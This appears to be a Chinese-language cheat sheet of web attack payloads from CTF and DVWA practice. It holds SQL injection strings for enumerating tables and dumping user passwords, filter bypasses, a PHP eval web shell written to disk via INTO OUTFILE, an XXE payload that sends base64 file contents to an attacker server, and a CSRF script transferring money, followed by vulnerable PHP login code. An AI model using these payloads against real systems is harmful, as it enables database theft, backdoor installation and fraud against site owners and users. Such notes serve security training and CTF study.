# 爆表名 ?id=1' union select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'dvwa' -- output：guestbook,users ？id=1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database() -- 绕过黑名单information_schema.tables # 爆列名（两种办法，加引号或者十六进制编码） # 如果在查询字段名的时候表名被过滤，或是数据库中某些特定字符被过滤，则可用16进制绕过 ?id=1'unionselect1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME =0x7573657273--
?id=1' union select 1,group_concat(COLUMNS) from information_schema.COLUMNS where TABLE_NAME ='users' -- output：user_id,first_name,last_name,user,password,avatar,last_login,failed_login ?id=1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content' # 爆当前数据库表中所选字段内容 ?id=1'unionselect group_concat(user_id,first_name,last_name),group_concat(password) from users -- ?id=1' union select null,concat_ws(char(32,58,32),user,password) from users -- ?id=1'unionselectuser,password from users -- -- output：admin/5f4dcc3b5aa765d61d8327deb882cf99
# 爆某个库表中所选字段内容 ?id=1' union select 1,2,[COLUMN_NAME] from [database_name].[table_name] -- # or被过滤，考虑使用符号"^" select * from user where id=1^select * from # 绕过空格 /**/替换空格 # union被过滤，考虑使用盲注 ascii(substr((select database())from 1 for 1))=xx # # 逗号被过滤，考虑使用函数的不同用法 substr(xx, 0, 1) ==> substr(xx from 0 for 1) # 引号过滤考虑16进制 users的十六进制的字符串是7573657273。那么最后的sql语句就变为了： selectcolumn_namefrominformation_schema.tableswheretable_name=0x7573657273 # 读文件 ?id=1'unionselect1,load_file('//tmp//key') --
# 写文件() ?id=1' and '1'='2' union select null,'hello' into outfile '/tmp/test01' -- ?id=999'unionselectnull,'hello'into outfile '/tmp/test02'-- ?id=999' union select null,'<?php @eval($_POST["gg"]); ?>' into outfile '/tmp/test03' -- ?id=999'unionselect1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3Einto outfile '//tmp//test04'--
盲注的几种payload SELECT usernmae FROM users WHERE id='1'andleft(database(), 1)='a';
SELECT username FROM users WHERE id='1'andleft((SELECT password FROM users), 1)='a';
# 查询表名 or ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA="ctf"), 0, 1))=xx; # 查询列名 or ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where table_name="user", 0, 1))=xx; # 读取flag ascii(substr((select flag from flag_table), 0, 1))=xx;
堆叠+修改表的结构进行注入（[强网杯 2019]随便注方法之一）
WAF:
1 2
use inject :union error:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
`是 MySQL 的转义符，避免和 mysql 的本身的关键字冲突 0';show columns from `1919810931114514`;# flag varchar(100)
payload:
1 2
ID列为无符号整型，该列值不可以为空，并不可以重复(primery key主键)，而且自增.alert table 表名 change 现有字段名称 修改后字段名称 数据类型 1';rename table words to word1;rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key;alter table words change flag data varchar(100);#
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///root/flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999/?p=%file;'>">
在攻击者服务器（http://ip）上监听9999端口，可看到回显
发送的 xml 也可以写为
ps: php 中 data 协议受限于配置项：allow_url_fopen 和 allow_url_include 需要开启
mysql_real_escape_string( $user ); // 过滤掉一些 sql 注入字符 stripslashes( $user ); // Returns a string with backslashes stripped off. (\' becomes ' and so on.) Double backslashes (\\) are made into a single backslash (\).
// 常规连接数据库语句（有被注入（可通过 mysql_real_escape_string 或者 PDO（PHP Data Object）防止）和爆破（限制输错密码次数（使用 mysql update 实现））风险） $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); if( $result && mysql_num_rows( $result ) == 1 ) { // Get users details $avatar = mysql_result( $result, 0, "avatar" ); // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed sleep( rand( 0, 3 ) ); // ⚠️prevent time inject echo "<pre><br />Username and/or password incorrect.</pre>"; } mysql_close(); }
array_keys(); // Return all the keys or a subset of the keys of an array $array = array(0 => 100, "color" => "red"); print_r(array_keys($array)); //output //Array //( // [0] => 0 // [1] => color //)
str_replace(); // Replace all occurrences of the search string with the replacement string // Provides: Hll Wrld f PHP $vowels = array("a", "e", "i", "o", "u", "A", "E", "I", "O", "U"); $onlyconsonants = str_replace($vowels, "", "Hello World of PHP");
// Split the IP into 4 octects，类似 python 的 .split() $octet = explode( ".", $target );
Cross Site Request Forgery (CSRF)
危害：以你的名义发送邮件、发消息、盗取账号、购买商品、虚拟货币转账
csrf 要和 xss 一起运用才能实现一些危险系数高的攻击。
exp（Low Level）（注意这里有一个坑，非常建议本地建一个 web 服务然后再打开 exp ，本地直接打开的话第二个 exp 不会成功，反正我这里是试了半天没成功。其次还要注意一下浏览器缓存的问题）
var t = new XMLHttpRequest; t.open("POST", "//www.mybank.com/Transfer.php", !0), t.setRequestHeader("Content-type", "text/plain"), t.send("toBankId=11&money=1000");
